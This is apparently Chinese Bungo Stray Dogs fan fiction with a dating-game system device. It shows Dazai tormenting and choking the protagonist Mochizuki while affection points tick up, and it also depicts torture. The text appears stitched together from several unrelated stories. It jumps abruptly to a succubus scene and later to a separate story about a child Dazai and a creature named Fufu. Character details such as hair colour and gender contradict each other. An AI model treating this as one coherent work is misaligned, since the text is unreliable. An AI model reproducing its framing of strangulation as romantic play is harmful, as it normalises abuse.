“如此美丽的小姐脸上露出这样寂寞的表情,我想没有人能够忍心做到熟视无睹吧。” “自杀也好,殉情也好……不论是生,还是死。” “无论您在哪里,我都会第一时间赶到您的身边。” “您是这个世界里独一无二的存在。” 望月说这话时的眼神异常认真,让人不由自主地想要闪躲,找个地方逃避那股莫名的炙热感。 『他没有在撒谎。』 又来了,这种令人恶心的眼神。 一次又一次对自己恶劣捉弄的忍耐,几乎有求必应的包容,即便是死亡也…… 『‘是因为太宰小姐,我才心甘情愿。’』 忽然,一种不可思议的猜想爬上了太宰治的脑袋。 就好比推理,排除掉一切错误的答案,剩下的那个无论多么离谱,也都是正确答案。 『…他「喜欢」我?』 啊,原来这样啊。 实在是…… ——太无趣了。 太宰治脸上的表情消失了,像是带上能面一般没有任何起伏,面无表情地注视着面前的粉发少年。 「喜欢」? 多么无聊又廉价的东西。 托这副皮囊的福,太宰治从来不缺人喜欢。 她们喜欢他的脸,喜欢他的身份,喜欢他背后的势力……虚假又令人作呕的感情,像是路边小卖铺里量产的廉价糖果,充斥着一股让人反胃的香精味。 也有那么一两位不怕死的家伙朝他告白,然而结果像是丢进大海里的一颗石子,掀不起任何波浪。 太宰治忽然觉得有些失望。 本以为能从这家伙的身上得到什么有趣的答案,结果只是如此吗。 如果真的像是表现出来的那么「喜欢」,这个家伙能为自己做到什么地步呢? 太宰治很想试试看,如果自己让望月去死的话,他会怎么做。 『——你想要从我身上得到什么,望月?』 咔嚓。 脑内似乎响起了相机声,又像是手机截图的声音。 【滴,获得CG-「黄昏之时」】 CG上,背景的黄昏将一切染成红色,仿佛火焰般燃烧着。而画面正中,缠绕着绷带的黑发少年浑身湿透,眼神空洞,水滴顺着发梢滴落,流入精致的锁骨。 非常精美的立绘,如果是放在手游里,大概会让玩家们尖叫着掏空钱包抽爆。 【好、干得好啊宿主!】 系统在脑内尖叫着,就差具现化灯棒给望月打call了。 望月没有在意脑内的声音。 不过他似乎注意到了什么,望月脸颊逐渐红了起来,微妙地挪开了视线。 太宰治回过神来,有些疑惑地垂下脑袋。 衬衫湿了,自己的黑色西装外套随着水飘走了。除此以外也没什么…… 太宰治忽然记起来了。 ——这家伙脑子有病。 的确,这就是望月不好意思看太宰治的原因。 眼前的黑发少女全身湿漉漉的,身上只有一件单薄的白衬衫,此时却因为被水打湿依附在身体上,透露出肉色的同时,也勾勒出少女玲珑有致的身材。 “咳,太、太宰小姐,您先穿我这件衣服吧。” 望月善解人意地将身上的黑西装披给太宰治。 虽然也是湿的,但至少不透色。 太宰治沉默了。 系统也沉默了。 本来应该是福利镜头,或者是男主将自己外套披给女主的dokidoki剧情,但好像有点不对味。 好奇怪,但是说不上来哪里奇怪。 “那么,时间也差不多了……我叫司机来送您回去吧,太宰小姐,女孩子不要被夜风吹了着凉才好,不然容易生理痛哦。” 望月率先一步站起身,伸手拉起披着自己外套的太宰,贴心地说道。 他刚松开手,太宰治忽然握住了他的手腕。 “诶、太宰小姐……” 手腕被猛地抓紧,下一秒,他便被太宰治重新推回了河中,狠狠地呛了一口水。 “呵,这不是会水的吗?” 黑发少女松开的手还悬在半空中,指尖早就失去了对方手腕的温度。 她勾起唇角说到,仅露出的那只鸢色眸子倒映着河中挣扎着的粉色身影,脸上露出审判般的冷淡表情。 “那就向我证明自己说的话吧,望月君。” ——证明你有多「喜欢」我。 【太宰治好感度清零】 ——今天的直播间依旧处于高危状态。 等中原中也和太宰治捡起地上的衣服,穿戴整理好后准备找机会撤离时,却发现刚刚叫得那么开心的银发少年,一改之前的吵闹,变得安安静静的,沉默着跟在他们身后。 太宰治看了望月一眼,而中原中也则直接皱起眉,低声问道。 “喂、望月,怎么了?” 望月抬起头,难得有些尴尬地挪开视线。 他清了清嗓子,撅起嘴巴,别扭地用有些沙哑的嗓子,小声嘀咕着解释道。 “……自从来人类世界后,吾辈好久没这么叫过,现在嗓子稍微有点疼。” 太宰:…… 中也:…… 而银发魅魔则对这两个人类的沉默和无语毫无感知,在心中再次叹了口气,幽幽地想道。 果然不管什么技能,平时都需要勤加锻炼啊,不多练习可是会忘记的。 第 53 章 第五十三章 大概是在之前的任务之中得到了新的灵感。 现在的望月励志于勾引这两个人类雄性,让他们主动对自己这样那样。 其中的主要目标当然要是中原中也。 毕竟比起太宰那个性冷淡抖S,怎么看都还是中原中也更容易上钩一些。 然而令望月没想到的是,中原中也比太宰那家伙更加油盐不进。 至少太宰心情好了还会陪自己玩一玩。 黑发少女的双手此时正扼在自己的喉咙处,一点一点缩紧,肺泡里的氧气也逐渐消耗殆尽,每一次呼吸变得无比艰难。 望月感觉自己的脑袋因为缺氧而一点点涨大。 像是被人吹鼓的气球般,麻木、眩晕、混沌…… 眼前的画面开始变得模糊,而掐着自己脖颈造成此刻现状的罪魁祸首,正一脸冰冷地注视着自己。 望月本能地抓住对方的手腕,明明看上去纤细易折,却无法撼动半分。 那只漂亮的茶褐色眸子,像是鹰隼的羽毛般泛着淡淡的红,又像是石油沥青般漆黑、黏稠,一旦沾上便永远都无法洗涤干净。 太宰治感觉到自己的手掌间传来的属于望月的体温。 指腹下,是大动脉的跳动。 一下又一下,鲜活而富有生命力,仿佛对方的确真实存在于这个世界一般。 【太宰治好感度+5】?等等等等, 为什么会在这种时候增加好感啊…… 这回系统没有因为太宰治难得加上的好感度而感到兴奋。 因为它的宿主正处于一种不妙的状态。 望月感觉自己就像落在上面的海鸟,羽毛沾上了沥青,沉重地无法振翅。 血液和氧气的输送被人阻断。 脑袋晕乎乎的,像是喝醉酒般眩晕,思考变得迟缓,进入一种清醒的、半幻觉性的状态。 然而比起抱怨窒息的痛楚,望月在脑袋里迷迷糊糊地对系统感慨起来。 ‘原来太宰小姐喜欢的是窒息play吗……这个xp也太、太小众了……对我来说,好像、呃,有点艰难……’ 【……说实话宿主你的美少女滤镜开到这个程度反而显得有些可怕了吧喂!!】 一瞬间系统觉得自己刚刚的担心都白瞎了。 它这位宿主的美少女滤镜一开,效果堪比「精神保护」系统了。 虽然它们这款游戏标题是《wakuwaku?~横滨都市恋爱物语~超危险doki》,听起来像是什么充满甜蜜梦幻色彩的老旧复古游戏——但这实际上是一种商业诈骗。 因为这款游戏的本质,是一个「危险x暴力x血腥」的十八叉限制级的恋爱攻略游戏。 我开场的时候应该给宿主介绍过了吧…… 系统焦虑地翻看着系统日志。 可恶的权限限制…不过现在就算不用查看太宰治的隐藏数据,都能感受到对方正处于一种超危险状态。 虽然游戏中,死于攻略对象手中的结局也不乏少数,但系统还是切实地叹了口气。 果然太宰治这个角色设定,作为攻略对象也太过艰难了。等宿主结束游戏后,它一定要把数据反馈给狗比策划看看,让她们没事少抽风。 但此时,只能寄希望于宿主早日清醒过来放弃这个攻略对象。 系统看了眼望月此时地表情,只有惊讶和迷惑,不见任何畏惧和退缩。 它不禁扶住了额头。 【哈……】 搞不懂。作为游戏系统,它有着一系列需要遵守的准则,不可以干涉玩家的行为和选择,也不可以向玩家过多剧透,破坏游戏体验。 关于玩家失去意识后所发生的剧情,除非是获得了游戏CG,非特殊情况不可剧透。 所有昨天看到的剧情,系统只能默默挠墙,满肚子的吐槽无处叙说。 前半段像是搞笑漫画,后半段混乱得更像是搞笑漫画了! 它只能默默地为宿主调出目前出现的两位角色的好感条,表达自己内心的复杂情绪。 【太宰治好感值 15 】 【中原中也好感值 -5 】 好感度列表上,太宰治那一栏的最后,Q版绷带黑发少女面无表情,眼神幽黑;而中原中也的Q版表情,则是一副身心俱疲的样子。 ……看来昨天确实发生很多事。 “……呃,不过太宰小姐的好感度到十五了,也算是好事吧?” 望月沉默了一下,摸着后颈乐观地安慰着自己。 【……好像也是哦。】 系统发现自己逐渐学到了宿主的乐观精神,佛光万丈。 此时,医务室的门从外头被人推开,望月望过去——是之前给自己包扎的女医师。 “早上好,酒井女士。” “啊,终于醒了呀。你可是睡了一整天呢。” 酒井医生惊讶地眨了眨眼,仔细观察对方的表情,看起来还挺精神的,松了口气。 她点头回应,“早上好,望月君,感觉怎么样?” “差不多退烧恢复如初。辛苦您帮我换绷带和衣服了,让您见笑。” “嗯?望月君的绷带和衣服都不是我换的哦,我只是打了退烧针和顶班而已。” 说起来,她来的时候正好遇见太宰先生从医务室里离开。 不过太宰先生向来都是医务室的常客,时不时过来拿绷带和药物,拿完就走人。 所以太宰先生出现在医务室也并不奇怪,酒井就没有和望月提及这件事。 “不过嘛,内田那家伙昨天翘班被中也先生抓了个正着……”酒井医生思一边思索着,一边说道,“哎呀虽说那小子确实活该,但我们这种医护人员被抓到训练室里狠狠一通操练,到底是惹了中也先生多大的火……” 她还记得早晨看到内田几乎是从训练室爬着出来的,不禁一顿唏嘘。 ——当然没有丝毫「同情」。毕竟内田被罚后自己还要过来顶班,平白无故少了休息时间,她有考虑怎么往内田的保温杯里加点泻药。 让我加班的人都该死^^ 表情很可怕呢,酒井医生。 望月脸上保持着微笑,后脑勺上却挂起了一滴冷汗。 审讯室内,痛苦的尖嚎令听者闻风丧胆。不过能留在这里的人,大多都是刑讯的老手,对这种场面也都见怪不怪。 站在最角落的两个黑手党脑袋稍稍靠近,压低声音窃窃私语着。 “太宰大人从昨天开始就一直呆在审讯室了吧。” “拷问的事一向都是红叶干部负责的,只有遇上难缠的硬骨头才会交给太宰大人。这次太宰大人主动过来,确实很少见呢。” “呜哇,好久没看到这么狠烈的拷问手法,还是一如既往的恐怖呢,你说是吧,前辈……前辈?” 聊到一半,却发现身边的同僚神情刚毅,笔直地站着看向前方。 男人有些茫然,后背忽然冒出一股令人无法忽视的寒意,本能地打了个哆嗦,小心翼翼地扭过头。 原来审讯对象不知什么时候已经晕死过去,暗红色的血流了一地。而太宰治正看向他们。 男人后背顿时冒出冷汗。 “太宰大人,您辛苦了!接下来的收尾打扫工作就交给我们吧!” 不过还是同僚机智,大声地喊了一句。 太宰治瞥了一眼闲话二人组,收回了视线。 很好,太宰大人果然无视了他们。 “这家伙吐得差不多,已经没用了,直接处理掉。情报整理好交给红叶大姐——绷带呢?” 太宰治拿着从部下手里递过的干净毛巾,随意擦拭着手上的血污,然而当撇到手腕处绷带上的血渍时,又忍不住皱起眉。 每次在审讯室里,都无可避免地沾上些血污。 太宰治算不上有洁癖,不然也不会天天往横滨河蹦,搞成脏兮兮的流浪猫样。 ——他只是单纯对脏掉的绷带感到莫名的烦躁。 “……非常抱歉,属下没有准备,需要现在帮您去医务室拿吗?” 由于望月不在,作为临时秘书的坂本接任了他的工作。 太宰治的要求对于坂本来说,显得有些超纲。坂本愣了一下,反应很快地低下了头,毕恭毕敬地答道。 不过他的回答显然不能让太宰治满意。 “啧。” 太宰治不爽地啧舌,目光从身后的部下身上一一扫过,声音径直下降了好几度,冷若寒霜。 “养你们这群部下有什么用?真是一群废物,审讯派不上用场就算了,就连绷带都不会准备吗?” ——平时你也没让我们准备过绷带啊,都是让望月秘书惯的。 其他人忍不住在心中小声腹诽,表面上当然是大气都不敢多出一下,垂着脑袋认真听训。 毕竟除了望月以外,也没有其他人会为了太宰而随身携带绷带了。 虽然他对望月可算不上喜欢,甚至说是带着一丝烦躁,却也不得不承认那家伙确实是自己用得最顺手的。 当意识到这一点时,太宰治表情愈发地阴沉。 口袋里的手机忽然响起。 能知道到这个号码的家伙也就那么几个。 太宰治拿出手机,看到屏幕上显示的名字后,手指稍微顿了顿,待到手机响了两三后,这才不紧不慢地接起电话,慢吞吞地回应道。 “……喂。” “啊,太宰小姐,我是望月。” “什么事?” “是这样的,昨天生病似乎给中原小姐和您添了不少麻烦,脑袋昏沉沉的有点记不清,十分抱歉。” 太宰治声音顿了顿,冷笑一声。 “……呵,我只是路过看了场好戏。” “‘好戏’……” 听出望月语气中的疑惑与试探,太宰治忍不住笑了起来——当然是讥讽意味。 “是哦,你昨天的壮举连我都要为之鼓掌称奇——你可是给了小蛞蝓那家伙一巴掌,呀,说实话我倒是看得开心的不得了。” 望月秘书又是怎么牵扯到中也先生的啊?!而且还是给了中也先生一巴掌?——有八卦! 周围的黑手党们瞬间竖起了耳朵——吃瓜可是凡人的天性,更何况当事人还是他们港口mafia的热点人物,自然好奇得抓心挠肺。 电话另一头的望月沉默。 好吧,中也小姐这个负五的好感度现在显得一点也不意外了。 “……” “喂?怎么,对自己的壮举感到震惊了吗?” “……嗯,确实有点。” 望月停顿片刻,语气深沉。 太宰治的心情莫名好了起来,哼笑一声,手指间随意地玩弄着刚刚用来拷问的长针。 “不过不用担心~小蛞蝓那种白痴,过个一两天都会把这事抛到脑后了哦。” 太宰小姐今天的心情似乎很不错啊。 望月通过电话听出太宰治语气的轻快,对自己的态度似乎没有之前那么冷漠。 “对了,太宰小姐……” “又有什么事,我这边审讯可是很忙的,不上班的家伙可别浪费我的时间。” 撒谎,明明这边审讯早就结束了。 边上偷听的黑手党们不敢直接戳破上司的底,只能在心里吐槽。 “太宰小姐知道中原小姐的喜好吗?” “……哈?” “比如爱好、喜欢的食物什么的……我想买点东西去向中原小姐道歉。” 太宰治沉默了片刻,随后笑容满面着,缓缓开口说道。 “小蛞蝓的喜好嘛……呵呵,小蛞蝓最喜欢的就是增高鞋咯,增高效果越明显的越好,我可以向你打包票,你要是送你的中也小姐这个,无论之前你做了什么他都会原谅你的~” ……增高鞋、如果真的送中也先生增高鞋的话,会被杀掉的吧?绝对会的吧! 周围人在心中异口同声地吐槽。 太宰先生你就这么想送望月君去死吗?真的那么讨厌他吗!啊啊啊望月君你可千万别上套啊! “是吗,那真是太好了!谢谢您的建议,太宰小姐。” “不客气~” 对太宰治百依百顺的望月当然会对他的话深信不已。 ……啊,完蛋了呢。 周围人默默为可怜的望月沉痛哀悼。 太宰治笑眯眯地挂断了电话,却没有众人想象中得逞后的愉悦,而是瞬间拉下了脸,冰山般面无表情,冷得周围人直打哆嗦。 前后的变脸速度这番之快,令人望而生叹。 他干脆利落地无视了身后的部下们,阴沉着脸,转身甩门离开。 没人敢问,没人敢拦。 几人面面相觑,从彼此眼中看出疑惑和茫然,不理解太宰治心情猛地变差的原因。 不过…… 就算不在现场也能让那位太宰先生的心情如此‘跌宕起伏’的人,大概也就只有望月君了吧。 人类真是种奇怪的生物。 望月不知道系统此时是何种心情。 只是耳边响起属于黑发少女的甘美的嗓音。 明明刚刚还是那么冰冷,此时却甜腻得宛如黏稠的蜂蜜,将致命的毒药裹挟其中,哄骗着让人吞食。 “望月君,死亡到底是什么感觉的呢?” “告诉我吧。” 黑发少年脸上浮现出讥讽的微笑,眸色发暗;像是孩童胡乱的涂鸦,黑色的线条错乱,不断蔓延。 『‘我会拼命努力,让太宰小姐喜欢上我。’』 『‘在这之前,我是不会离开太宰小姐的。’』 ——如果将这句话反过来呢? ——「我不会离开你,直到你喜欢上我为止。」 ……呵呵,与其说是「不会」,倒不如说是「不能」吧。 所以之前才会这么包容、忍耐我, 不论被怎么对待都不会生气。 因为想要离开,所以拼了命地让我能「喜欢」上你? 就算一次又一次的死亡也没关系吗?像是飞蛾扑火般。 真愚蠢,又真可笑。 『——那么自己在悲哀什么呢?』 太宰治看到望月那双逐渐溃散的琥珀色眸子里,正倒映着自己的脸,模糊不清,分辨不清到底是一副什么样的表情。 虚伪的、欺诈的「爱意」啊。 清醒过来吧,从这个虚无缥缈的梦境之中,看清楚这个腐烂的世界的现实。 【太宰治好感度 -10】 “说起来,我注意到一件事。” “……实际上望月你从来都没有直面说过‘喜欢你’这三个字啊。” “只是不断地给予虚假的暗示。” “啊~啊,说不定望月你也很有成为「操心师」的天赋呢。” “呐,还记得之前的那次吗?” “继续向我证明自己说的话吧,望月君。” 太宰治的声音调笑,隐隐带着一丝疯狂的意味。 他的声音听上去轻松,然而骨节分明的手指却在粉发少年的脖间不断缩紧,一点点加重了力道。 “——就算被我杀死,你也不会有怨言的对吧?” “唔……啊、啊……” 喉咙被人完全扼住,即便再怎么张大嘴巴,也吐不出半点声音,只剩下濒死的水鸟般断断续续的呜咽。 樱花树很脆弱,受到一点伤害就会枯萎。 少年纤细的脖颈上喉结随着喘息而艰难地上下滑动,在掌心摩擦,像极了某种惹人怜爱的小动物。 柔软又脆弱的生命啊。 和刚刚泪眼汪汪的姿态又不一样。 这幅模样怪可怜的。 太宰治想到。 心脏跳动得似乎变快了,身体也似乎跟着一起兴奋起来,似乎是因为将这个人的生命掌控在手中而感到战栗,手指微微颤抖着。 【太宰治好感度+5】 这边太宰治翻滚着黑泥,而望月在脑内呼唤起系统。 ‘这样下去,有点不妙啊……’望月晕乎乎地想到,‘系统,我……’ 【宿主,你还好吧?需要我帮忙吗?】 系统小声询问道。 它所能够提供的帮助,就是介入「精神保护」系统,让宿主能够快速冷静下来;或是开启感觉屏蔽,但只却无法阻止「窒息」这一现状。 ‘不……’ ‘我是说,好像更加get到了太宰小姐的萌萌之力了……’ 【?】 系统呆滞。 宿主你不得了的的隐藏属性被打开了!之前说你是抖M顶多算是调侃,现在不会真的被攻略对象调.教成抖M了吧!! 【看来您现在状态还不错,应该不需要我帮助。】 它强忍着吐槽欲,干巴巴地说道。 “不过我在想,现在这是「黑化」,还是「病娇」?’ 【诶,两者有区别吗……】 ‘当然有。作为资深阿宅前辈可得告诉你,「黑化」和「病娇」可是两种不同的属性!’ ‘「病娇」就如字面上一样,精神上处于一种病态;「黑化」是指精神切换至阴暗人格,在一种状况下产生的反应,会做出与平时形象不符的极端行为。” “简单来说,「黑化」是后来坏掉了;而「病娇」是一开始就坏掉了。’ 【好、好详细的宅文化讲解!】 ‘不同于黑长直、双马尾之类的外在萌属性,现在已经是傲娇、病娇这种从外表进入到内心萌属性的全新萌时代啊。’ 【…听起来好了不起啊——但是这个时候还在讲这个真的没关系吗喂!】 系统忍不住吐槽。 它觉得如果自己和宿主出道一起讲漫才的话,说不好还能登上「M1大奖赛」(*日本漫才比赛)拿个优胜。 …… …这又是什么一副表情。 太宰治沉默地看着望月脸颊绯红,呈现着一种醉酒般的迷醉感。 琥珀色的眼睛放空,在顶灯照耀下显得亮晶晶的。 看上去,像是在和什么人对话一样。 ……啊,是脑袋里的东西吗? 太宰治眸色一沉,手指的力气猛地一缩。 他看着望月的身体因为自己忽然加重的力气而猛地一抖,不断战栗。 ——就这样杀死他似乎也不错呢。 带着最漆黑的恶意,太宰治在心中嘲笑。 手掌一点一点地合拢,粉发少年脸上的痛苦之意也越发明显。 反正也不会「死亡」。 就像之前一样,一次又一次若无其事地走到自己面前,说着虚伪至极的谎话,恶心得让人想要吐出来。 ——「人间失格」会对这次「死亡」起作用吗? 黑发少年手上的动作一顿。 太宰治脸上的表情微愣,像是在思考,又像是在迟疑。 不知道过了多久,或许只是几秒,或许度过了好几分钟,黑发少年这才松开了自己的手。 脖颈终于被对方释放,血液和氧气争先恐后地涌了上来,反而让粉发少年咳嗽个不停。 望月把脸侧向一旁,捂着自己的喉咙咳嗽个不停。 太宰治看到对方莹白的脖颈上,自己的指印显得格外明显,像是给对方戴上了一条深红色的项圈。 一种新奇的体验。 “咳、咳咳……” 望月大口大口地呼吸着,胸膛处的心脏怦怦跳得飞快,几乎快要撞破肋骨冲出来。 他下意识抓住胸口的布料,试图让自己的心跳冷静下来。 ‘但是啊,系统……’ 【是?】 系统疑惑地应了一声,不太明白宿主突然的转折。 ‘《SHUFFLE!》的制作者说过,「自己辛苦打造宛然孩子一般的女主角们,我无法活生生地让她们导向毁灭」。’ ‘我也一样啊。’ ‘比起黑化路线,我更希望看她们阳光幸福的happy ending啊!’ 【……诶?】 “咳、咳……太宰小姐!” 就在太宰治起身,准备离开时,望月忽然拽住了他的手腕,仰起头盯着对方错愕的表情。 “——抱歉,是我让您感到不安了吗?” “……不安?你在说什么蠢话……” “那些并不是虚伪的暗示,也不是欺诈性的哄骗,而是我发自内心的,对太宰小姐真挚的感情。” 望月眼角还挂着泪花,眼睫毛湿漉漉的,显得乖巧又可怜。 “我一直觉得那种话必须要在隆重且正式的场合才可以说,郑重地,庄严地,认真地告诉您。” “所以,请给我一些时间准备,太宰小姐。” 黑发少女表情微愣。 而望月笑了起来,温柔得让人联想到樱树上盛放的樱花,声音温暖又柔软。 “——到时候,您还愿意听吗?” 毕竟都是从中也太宰这样的高质量人类身上进的货。 这么一想,银发恶魔身后的尾巴顿时高高翘起,十分得意。 “呼~真不愧是吾辈,真是太厉害的。第一次用魔力给人类做治疗就这么有效。” “你这个人类可要好好地感谢吾辈哦。毕竟吾辈可是难得的大发慈悲,出手帮了你这么区区的一个人类,甚至还用了魔力。” 望月眨了眨眼睛,随后像是只骄傲的猫咪似的双手叉腰,抬起下巴从喉咙里地哼哼着,傲慢地说道。 “喂,作为感谢你这家伙可要乖乖地跪下,给吾辈当仆人哦……” 然而,还不及望月的话说完,一道黑色的影子朝着他的脑袋刺来。 空气中还夹杂着对方咬牙切齿的怒吼声。 “罗生门——” 第 54 章 第五十四章(含1w6营养液加更) 不知道是不是因为刚醒过来,对于身体还无法完全支配;亦或者望月的运气好,脑袋稍稍往左边偏了些。 化为黑色凶兽的布条从望月的脸颊旁侧过,硬是削掉了耳旁的几缕发丝。 银发顿时如同落雪般,慢悠悠地飘下落在衬衫黑色的布料上,一黑一白对比得格外明显。 望月原本还得意洋洋笑着的表情,瞬间像是被浇了一通冰水似的,冻结在脸上。 身体在对方的帮助下恢复平衡,只是手臂的神经还在一跳一跳地痛着。 望月眯起眼睛,从一片混乱的脑袋中找出了这张熟悉的脸。 ——这是他的另一位初始攻略角色,也是系统之前一直吵着让他更换的攻略对象。 穿着黑色西装的赭发少女站在上方的台阶上,紧紧拽住他的手臂,皱眉盯着自己。 黑色choker将她的脖颈衬托得更加纤细白皙,手套和袖口间露出的那段皮肤堪称绝对领域,禁欲感十足,却又充斥着一股令人挪不开视线的色气。 被那双蓝宝石般的眼睛注视时,心脏都仿佛漏跳一拍。 比起太宰治那那副毫不遮掩的厌世感,面前的赭发少女的表情显然更加生动。 似乎和太宰小姐是截然不同的类型呢。 这么想着,顶着烧得晕乎乎的脑袋,望月微笑着朝对方颔首道谢。 “我会多注意的,这位可爱的小姐。” 不过,在他说完这句话后,面前的赭发少女脸色变得有些臭,凌厉的蓝瞳瞪了自己一眼。 中原中也脸色漆黑。 开什么玩笑,这家伙是眼睛瞎了吗?他可不是太宰那种吃软饭的小白脸! 龙头战争刚开始的时候,中原中也曾经还因为身高问题被人嘲讽“港口mafia是没人了吗小孩子也上战场啊”之类的话。 ——他才十七啊喂,还在生长期好吗! 当然,之后中原中也也毫不客气地用重力让那些家伙一辈子都再也没机会张嘴了。 再之后,「双黑」的称号彻底响彻整个里世界,便再也没有人敢在自己面前嘲讽他的身高了——除了那条恶心的青花鱼。 要不是迫于同为组织成员和首领的命令,他早就把那混蛋的脑袋踢爆了。 ……所以,到底哪个地方让这家伙觉得自己是女性了? 中原中也深呼吸一口气,面色不善。 “那么我先告辞……” 望月似乎没注意到对方身上的低气压。他一边说着,愣愣地再一次踩空了楼梯。 中原中也似乎预判到了他的行动,眼疾手快地抓住了对方的后衣领,像是捏小猫崽似的,拎在半空中。 粉发少年一脸迷糊,让中原中也眼角肌肉跳了跳,泄愤似地磨着自己的后槽牙。 “喂,我说你啊……”“太好了,芙芙!”太宰治感动的抱着白色的毛茸茸。 “谢谢你不‘讨厌’我。” 将芙芙抱在怀里后他对长发少年扬起一抹笑,眼底的泪水早就不知道什么时候消失了,他还特意加重了‘讨厌’的读音。 少年:“……啧。” “芙芙,可以请你们暂时收留我吗?我不会麻烦你们很久的……只是我在这里没有地方住,毕竟我也是外来者呢。”太宰治低耸着眉眼松开芙芙,问道。 “请放心,我对你们没有威胁,我的异能很鸡肋,大概只能抑制他的异能,”太宰治说着看了眼长发少年,然后接着又眼巴巴地看向芙芙,“至于体术方面,芙芙一脚就能把我踹飞呢。” “所以,我真的很弱哦。” “芙,芙!”芙芙看了眼长发少年,见他没有反对就同意地点点头。 “谢谢芙芙!”太宰治这回是真心笑了,计谋得逞的笑容,他这时的表情倒是真和普通孩子一样了。 芙芙翘着尾巴走到长发少年脚下,甜甜地叫:“芙~” “……” 芙芙看了看他,又看了看太宰治,再次发出可爱的叫声。 少年嗯了一声:“我知道了。” “芙!”自认为解决了两脚兽之间的相处问题的芙芙,放心地前往客厅外的其他房间巡视了- 它走后,两只两脚兽之间的氛围也确实没有很紧张,反而还意外的平和。 太宰治问长发少年:“你能听懂它说话吗?” “芙芙的叫声没有任何语言的含义,但我可以猜到它想表达什么。”少年的语调一如既往,太宰治之前的威胁和卖惨都没有让他改变态度。 真奇怪,明明芙芙都会因为他的话而产生态度变化,但是眼前这家伙却还是这副冷淡的模样。被威胁的愤怒,对他的怜悯……一点都没有啊。难不成他是冰块做的吗? 太宰治眸光闪了闪,语气轻快道:“我们的交易继续吧。” 少年:“?” “但是交易的内容要改变一下,我告诉你我的异能是什么。你只需要告诉我,要怎么做你才会告诉我那个小家伙是什么生物,怎么样?”太宰治垂着头叹气,他摊开手道,“唉,我可是让步了很多哦。” 他有预感,答案一定不会让他失望的。他愿意为此付出一点代价。 少年清清淡淡地瞥了他一眼:“芙芙的身份我只告诉我认可的,或者可以信任的人。” “!” 直、直接说出来了,所以是同意交易继续了吧! 但他说出的话就跟钓着猫咪的线头似的,让太宰治更好奇了。 就是越重要越罕见的秘密,才会加上诸多限制条件嘛。 “我的异能是人间失格,可以让所有异能无效化。” 让所有异能无效化……很罕见和强大的异能。 在少年若有所思的时候,太宰治被勾得痒痒的心按耐不住了,他吸了口气又缓缓吐出来,然后扬起极其明媚的笑容看向少年:“那我来做你的朋友吧!” 少年疑惑地望着他:“?” 少年定定地打量他,太宰治可以肯定这是他们见面以来最细致的打量。 从他柔软蓬松的黑色卷发,到身上干净的白色衬衫,还有各处都缠绕着的绷带。 看起来好像是他的同龄人。 少年金色的眼眸忽闪,想起了和某个家伙的对话。 [你是不是应该多交些和你一个年龄段的朋友啊?] [为什么?] [因为书上说这对你的身心健康有好处……糟糕了,我们这根本就没有跟你同岁的孩子啊!] 好吧,既然你是这么希望的。 “可以,我给你成为我朋友的机会。” 出乎意料的,原本以为会纠缠很久才能让他答应,结果少年只是思考了会就同意了。不过说什么给他成为朋友的机会,真是傲慢啊。 太宰治迅速扬起笑:“我会努力成为你的朋友的!” “我叫太宰,太宰治。” “交换名字是成为朋友的第一步,所以……” “告诉我你的名字吧,朋友。” 长发少年:“……我叫望月。”- “望月,你没有姓氏吗?” 相当冒昧的问题,但既然要成为朋友那得好好拉近关系才行,况且如果冰块真的不想回答的话肯定不会多说一句的吧。 “嗯,因为她说不希望我被姓氏束缚,我只要是望月就可以了。”望月平静地回答,眼中也没有丝毫怀念的意味。 太宰治怔愣了会,他说:“这是一个很好的祝福。” “祝福么?”望月垂下眼眸,他以为这只是她众多指令中的一个,原来这在别人眼中是祝福吗? “‘她’是很重要的人吗?”太宰治又问。 “是母亲。” “那她肯定很爱你!” “嗯。”平淡的语气。 嘁,太宰治撇撇嘴,真麻烦啊这个大冰块,一点也不好捂化。 望月突然转过头看向他:“还有。” 太宰治:“欸?” “你不要用那种语气讲话,”望月抿了抿嘴,“很奇怪。”他不懂,明明不是那种性格的太宰治,为什么从说要当朋友开始就一直用开朗的语气说话。 “你不喜欢嘛?”太宰治眨眨眼。 “好好说话。” 太宰治这回不用忍了:“嘁。” 望月:“?” “我还以为你会喜欢我这么说话呢,”太宰治耸肩道,“毕竟人们都是更喜欢和开朗的人交朋友不是吗?” “说是这样能够更容易得到快乐与幸福呢……哈,自己充斥着欲望与黑暗,却渴望从他人身上沐浴到阳光吗?”太宰治表情阴郁地嗤笑。 望月看了他一眼,移开视线:“你真奇怪。” 太宰治轻飘飘道:“奇怪什么的,明明望月比我更奇怪吧。” 身边带着那么神奇的小动物?应该是动物吧?还像脑子被灌水摇匀变成浆糊一样,身上挂着一堆宝石- “芙!” 小猫身型小狗长相的白色小兽突然从二楼楼梯口跃下,望月转身伸出手接住它。 “芙芙芙!”芙芙扒住望月的衣领不停地叫唤。 “……嗯。”望月看着表现出焦急的芙芙有些迷茫,虽然大部分时候都可以猜出芙芙的意思,但果然这种没头没脑的情绪他还是猜不出来啊。 “外面有人来了。”倒是太宰治察觉到了什么,他鸢色的眼睛逐渐暗下来。 “要打赌吗?”他嘴角微勾,轻声道,“因为这栋房子换人住了,所以外面的人是来找你收水费电费的。” “虽然这间屋子的上一位住户可能早就交给了水电费,但只要你是刚住进来的,就必须得交钱呢,真是霸道啊……” “啊对了,擂钵街是三不管地带,所有水电都是由地头蛇提供的,来收费的也是他们。” 他语气戏谑地看向望月:“很神奇吧,就算是擂钵街这样秩序混乱的地方,人也要为自己的生活所需而付出钱财或者说相应的代价?” 望月只是神情冷淡地问:“水费电费是什么?” “啊……?”这个简单的问题让太宰治深沉的感想消失了,他瞪圆了仅有的在外面的左眼。 难以置信地问:“你连这个都不知道!?” “哦,难道是用水用电还要交钱吗?”望月自己分析了这两个词的意思。 太宰治张了张口,刚想说话,门口忽地传来了敲门声。 “里面有人吗?” 女人柔和的声音传进屋内。 望月刚想走过去开门,就被太宰治拦住了。 “先把这件斗篷脱下来,你也不想因为它而被狠狠敲一笔吧?” “……”沉默了会,望月还是按他说的脱下了缀满宝石的斗篷放在沙发上。 然后穿着里面黑色的体恤打开大门:“有人。” 门外的女人穿着一身浅蓝色的和服,黑色的长发如海藻般散落在在胸前,蓝色的眼睛像海一样温柔。她见到开门的是望月这样14岁的小孩似乎一点也不惊讶,就如太宰治所说她本就是因为知道这间屋子易主才来的。 她微微弯下腰,优雅地行了个礼:“我是加藤纱希,听说您成为了这间屋子的新主人,很厉害呢。” 她微笑道:“擂钵街的水电皆由我的家族提供,但这些并非平白无故就可以享用的,所以如果您需要使用水电的话,请您向我们缴纳一定的费用。” “嗯,可以刷卡吗?”望月没有犹豫地举起一张银行卡。 